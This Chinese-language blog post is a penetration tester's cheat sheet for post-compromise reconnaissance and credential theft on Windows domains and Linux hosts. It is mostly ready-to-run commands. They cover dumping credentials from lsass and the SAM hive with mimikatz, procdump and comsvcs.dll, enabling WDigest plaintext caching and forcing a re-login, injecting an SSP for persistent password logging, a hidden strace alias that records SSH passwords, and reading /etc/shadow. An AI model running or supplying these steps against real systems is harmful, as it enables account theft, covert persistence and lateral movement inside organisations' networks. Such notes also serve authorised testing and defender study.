内网信息收集

windows

查看当前系统信息

查看网段

查看进程是否存在杀软

查看是否存在域

定位域控

翻翻文件是否存有密码

基础信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 系统信息
systeminfo
echo %PROCESSOR_ARCHITECTURE%
wmic OS get Caption,CSDVersion,OSArchitecture,Version
hostname

# 用户信息
whoami /user
whoami /all

# 网络信息
ipconfig /all
netstat -ano
route print
arp -a

# https://forum.ywhack.com/bountytips.php?process
# 查看进程
tasklist /svc
# 杀掉进程
taskkill /F /IM 进程名
taskkill /F /PID 进程ID


# 查看安装的软件
wmic product get name
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:list

# 查看用户信息
net user
net view
net localgroup administrators
net session

# 存活探测
for /l %i in (1,1,255) do @ping -w 2 -n 1 172.16.107.%i | findstr "TTL="

# 查看 wifi 列表
netsh wlan show profiles
# 查看指定 wifi 密码
netsh wlan show profiles wifi名 key=clear

# rdp
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
query user

域信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 查询当前登录域及登录用户信息
net config workstation

# 定位域控
net time /domain
net group "domain controllers" /domain
nslookup -qt=ns domain

# 查询域内用户
net group "domain users" /domain
net user /domain
# 查询域管理员
net localgroup administrators /domain
# 查询指定域用户信息
net user test /domain
# 查询域用户详细信息
wmic useraccount get /all

# 查询有几个域
net view /domain

# 查询域内主机
net group "domain computers" /domain
# 查询域内的全局组和通用组
net group /domain
# 查找指定组含有哪些用户
net group "domain admins" /domain
# 查看域管理员,该组内的成员对域控拥有完全控制权
net group "domain admins" /domain
# 查看企业管理组,该组内的成员对域控拥有完全控制权
net group "enterprise admins" /domain

# 查看用户 SID 和域 SID
# 如用户的 SID 是: S-1-5-21-2189311154-2766837956-1982445477-520 则域 SID 则是去掉最后的 520
whoami /user

抓密码

基础知识

本地认证流程:

  1. winlogon.exe:Windows Logon Process 用户登录程序
  2. 用户输入账号密码
  3. lsass.exe:用于微软 Windows 系统的安全机制,用于本地安全和登陆策略
  4. 转换为 NTLM Hash 和 SAM 文件中的值相比

所以抓密码就主要是在 lsass.exe 进程内存和 SAM 文件这两个地方获取,SAM 文件中只有 Hash,不过 Hash 可以尝试去在线网站解密,lsass.exe 内存是有可能获取明文密码的,不过当系统为 win10 或 2012R2 以上时,系统默认禁止在内存缓存中保存明文密码。

抓密码有在线和离线两种形式,在线就是直接使用 mimikatz 抓取,离线就是先保存 SAM 文件或者 lsass 内存转储文件,然后在下载到本地,在本地上面的 mimikatz 读取离线文件。都有利有弊,在线要考虑免杀问题,离线会出现文件过大或者传输问题。

mimikatz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 直接上传 mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" exit
# 提升权限
privilege::debug
# 抓取密码
sekurlsa::logonPasswords

# cobaltstrike
hashdump
logonpasswords
mimikatz sekurlsa::logonpasswords

# msf
load kiwi
creds_all
lsa_dump_sam
kiwi_cmd sekurlsa::logonpasswords

# ms cs hash 形式
用户名:用户SID:LM Hash:NTLM Hash:::

SAM

1
2
3
4
5
6
# 注册表保存
reg save hklm\sam sam.hive
reg save hklm\system system.hive

# mimikatz 离线读取
mimikatz.exe "privilege::debug" "lsadump::sam /system:system.hive /sam:sam.hive" exit

lsass.exe

1
2
3
4
5
6
7
8
9
10
11
12
# procdump 微软的工具 
# https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# rundll32 - 测试了几次都被没了
tasklist | findstr lsass.exe
powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump PID C:\lsass.dmp full

# 任务管理器找到 lsass.exe 进程, 右键"创建内存转储文件"

# mimikatz 离线读取
mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

抓取明文密码

一般来说横向移动直接用 Hash 就行了,远程登录也可以直接创建账户去登录,不是非得去获取明文。

要获取明文密码的话一般有两种形式:

  1. 修改注册表开启允许在内存中保存密码,然后锁屏让对方重新登录,这个时候内存中就存储了明文密码,然后就可以通过 lsass.exe 抓取到明文密码
  2. SSP 内存注入

第一种方式需要对方当前正在登录,然后我们开启密码内存记录,锁屏后让对方重新登录,以获取明文密码。

1
2
3
4
5
6
7
8
9
10
11
12
# 允许保存明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 禁止保存明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

# 查询登录用户
query user
# 注销用户
logoff ID

# 直接锁屏
powershell rundll32.exe user32.dll,LockWorkStation

第二种方式算是一种权限维持的手段,可以把用户登录的明文密码记录到一个文件中。

也是有 2 种方式:

  1. 通过 mimikatz 进行 SSP 内存注入:内存注入重启就没,但是锁屏就可以生效
  2. 注册表添加 SSP :修改注册表,永久有效,但是需要重启机器后生效
1
2
3
4
5
6
7
8
9
10
11
12
# mimikatz - 慎用,本地复现注入后重新登录不上...
mimikatz.exe "privilege::debug" "misc::memssp" exit
type C:\Windows\System32\mimilsa.log

# 注册表添加
# 1. 把 Mimikatz 中的 mimilib.dll 文件复制到 C:\Windows\System32 目录下
# 2. 修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
# 3. 重启
shutdown /r /t 0
# 4. 查看密码
type C:\Windows\System32\kiwissp.log

image-20240622171658892

RDP凭据

1
2
3
# 查看 RDP 连接
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
cmdkey /list

linux

网络信息

历史命令 .bash_history

进程信息

web 目录 /var/www/html

数据库

家目录

寻找密码、配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# 网络信息
ifconfig -a
ip addr show
route
ip route show
arp -a
cat /etc/resolv.conf
netstat -an
netstat -anltp | grep $PID
iptables -L

# 设备信息
uname -a
cat /etc/*-release
cat /etc/issue
hostname

# 用户 查看用户家目录
cat /etc/passwd
cat /etc/group
cat /etc/shadow
w # 当前登录
sudo -l

# 公钥信息
~/.ssh
/etc/ssh

# 环境信息
env

# 历史信息
history
cat ~/.bash_history

# 进程信息
ps aux
ps ef
# 资源占有情况
top -c
# 查看进程关联文件
lsof -c $PID
# 完整命令行信息
cat /proc/$PID/cmdline
# 进程的命令名
cat /proc/$PID/comm
# 进程的环境变量
cat /proc/$PID/environ
# 进程打开文件的情况
cat /proc/$PID/fd

# 计划任务
crontab -l

# 记录账号密码
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'

# 配置、密码收集 config 文件目录、.env 文件 ...
find /home/nhapps/ -type f|xargs egrep -s -i "*user:|*user=|username:|username=|*pass:|*pass=|password:|password=|passwd:|passwd=|SYS|AUDSYS|SYSTEM" --color > password.txt

#查找所有带user和pass的txt
find / -type f -name "user*.txt" -or -name "pass*.txt" 2> /dev/null

#查找所有文件中的账号密码
grep -r -i -E "user:|user=|username:|username=|pass:|pass=|password:|password=|passwd:|passwd=|账号:|账号:|用户名:|用户名:|密码:|密码:" /var/www/html/sso --color

‍参考链接


内网信息收集
https://liancccc.github.io/2024/09/15/技术/内网渗透/内网信息收集/
作者
守心
发布于
2024年9月15日
许可协议